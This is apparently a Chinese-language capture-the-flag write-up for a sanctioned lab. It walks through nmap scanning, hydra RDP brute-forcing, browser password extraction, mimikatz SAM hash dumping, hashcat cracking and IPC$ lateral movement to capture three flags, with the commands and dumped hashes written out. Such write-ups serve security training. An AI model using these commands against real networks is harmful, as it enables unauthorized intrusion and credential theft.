一、题目背景:
[] 作为渗透测试工程师,前期你通过信息收集获取到靶标无人值守的运维机的向日葵
凭证。请你通过该运维机作为跳板进行内网渗透。 本题有三个flag,flag1在DMZ区
web服务器普通用户桌面上,flag2在DMZ区web服务器管理员用户文件夹中,flag3在
核心数据网的文件服务器的C:\flag中。三个flag得分分别为300,300,400,本题共
1000分。 由于靶机资源限制,不支持多人同时攻击。请选手根据排队序号联系出题人
拿向日葵凭证。
二、flag1渗透:
1、渗透hint:
如果扫描扫到了.1的主机,请不要攻击。
做题需要的工具、字典都放在运维机的桌面文件夹中,工具不一定都会用到
运维机与DMZ区web服务器在同一网段。只有生产网机器能访问核心数据网。
登录运维机后可以查询运维机网段,然后使用域内信息手机工具扫下网段获取生产网靶机ip及开放端口进行攻击
为了节省时间,可以只扫描主机的1-10000端口
为了方便部署web应用,web服务器开放了RDP服务,但是该服务的端口被运维修改了
2、渗透测试:
(1) hint提示web服务器开启了RDP(Remote Desktop Protocol),RDP是一款由微软开发的协议,允许用户通过网络远程连接到另一台计算机,并能够像在本地操作一样使用远程计算机的桌面界面。RDP 服务的作用是使得用户可以远程控制计算机,包括访问图形用户界面(GUI)和执行命令等操作。
RDP服务的默认端口为 3389,hint提示该默认端口已被修改,所以需要我们通过信息搜集自行判断哪一个端口为RDP服务。
首先使用 ipconfig查看当前主机所在网段:
(2) 然后使用 nmap扫描,查看当前在线主机:
nmap -sn 192.168.23.0/24
.130 主机为我们的目标主机。
(3) 扫描 .130主机的端口:
nmap -sS -p 1-65535 -v 192.168.23.130
根据hint,只需要考虑 1-10000端口,由扫描结果可知,4498 和 5040端口的服务为未知。
(4) 使用 nmap对 4498 和 5040端口进行服务识别:
nmap -p 4498,5040 -sV 192.168.23.130
确认了4498端口的服务为 ms-wbt-server (Microsoft Windows Based Terminal Server) 即 rdp服务。
(5) 尝试使用 hydra工具爆破 rdp账密,经测试:guest1 guest1为其rdp服务账密:
hydra -l guest1 -p guest1 -t 1 -w 1 rdp://192.168.23.130:4498
确认账密后使用远程桌面进行连接:
连接成功后,flag1在桌面上:
三、flag2渗透:
1、渗透hint:
flag2在靶机1管理员用户文件夹中
2、渗透测试:
访问靶机1管理员用户文件夹,由于无权限,且密码未知,所以需要进行提权操作:
(1) 管理员密码可能存储在浏览器中,使用 hackbrowserdata工具尝试获取密码:
工具地址:https://github.com/moonD4rk/HackBrowserData
成功得到密码 -> @Asdf1234
(2) 使用获取到的管理员账密打开管理员权限的cmd:
(3) 成功提权,进入管理员文件夹获取flag2:
四、flag3渗透:
1、题目hint:
flag3在靶机3 C:\flag中
2、渗透测试:
(1) 由hint可知flag3在靶机3中,所以需要进行横向移动,首先查看当前主机的网卡信息:
(2) 使用nmap扫描该网段:
nmap -sn 192.168.171.0/24
发现了存活的 .129主机。
(3) 扫描 .129主机端口:
nmap -sS 1-65535 -v 192.168.171.129
(4) 注意到 netbios服务开放,尝试进行ipc横向移动,ipc横向移动需要明文密码,故先使用 mimikatz获取本机所有用户的密码:
使用管理员权限打开 mimikatz,执行如下命令:
privilege::debug:授予调试权限,使mimikatz可以访问受保护的系统内存
token::elevate:提升mimikatz的权限,通常是获取管理员/SYSTEM权限
lsadump::sam:将本地账户的密码哈希(存储在SAM数据库中)
exit:退出mimikatz工具
User : guest1
Hash NTLM: afe58069dad3c0d3fa42149193568d64
User : redis
Hash NTLM: 7336a984d8d028c50c4a0dc65c458758
User : mysql
Hash NTLM: 0b46a32b4f7226a027d7fc110372843c
User : www
Hash NTLM: 5d210a88d6973d45f7e7a08d3bc2e259
User : Anonymous
Hash NTLM: dd90b2e131f97c0a6490151fe7220ca2
User asdfqwer
Hash NTLM: c2d148fc96c9e168bd2974665b8d4a89
制作hash.txt准备后续破解:
afe58069dad3c0d3fa42149193568d64
7336a984d8d028c50c4a0dc65c458758
0b46a32b4f7226a027d7fc110372843c
5d210a88d6973d45f7e7a08d3bc2e259
dd90b2e131f97c0a6490151fe7220ca2
c2d148fc96c9e168bd2974665b8d4a89
(5) 使用 hashcat批量破解hash:
./hashcat -m 1000 -a 0 -o cracked.txt --force /Users/gehansheng/Desktop/hash.txt /Users/gehansheng/Desktop/ntml.txt
-m 1000:指定破解 NTLM 哈希(1000 对应 NTLM 哈希算法)。
-a 0:指定字典攻击模式(攻击模式 0 是字典攻击,ntml.txt 文件作为字典)。
-o cracked.txt:将破解成功的结果保存到 cracked.txt 文件。
--force:强制执行命令,即使有错误或警告也继续。
/Users/gehansheng/Desktop/hash.txt:包含哈希值的文件。
/Users/gehansheng/Desktop/ntml.txt:包含密码字典的文件。
成功破解出一个:
得到了 asdfwer用户的明文密码:
asdfwer : @ASDFqwer123
(6) 将收集到的用户名和密码制作成密码本进行横向:
net use \\192.168.171.129\IPC$ "@ASDFqwer123" /user:"asdfqwer"
获取flag3:
type \\192.168.171.129\c\flag\flag3.txt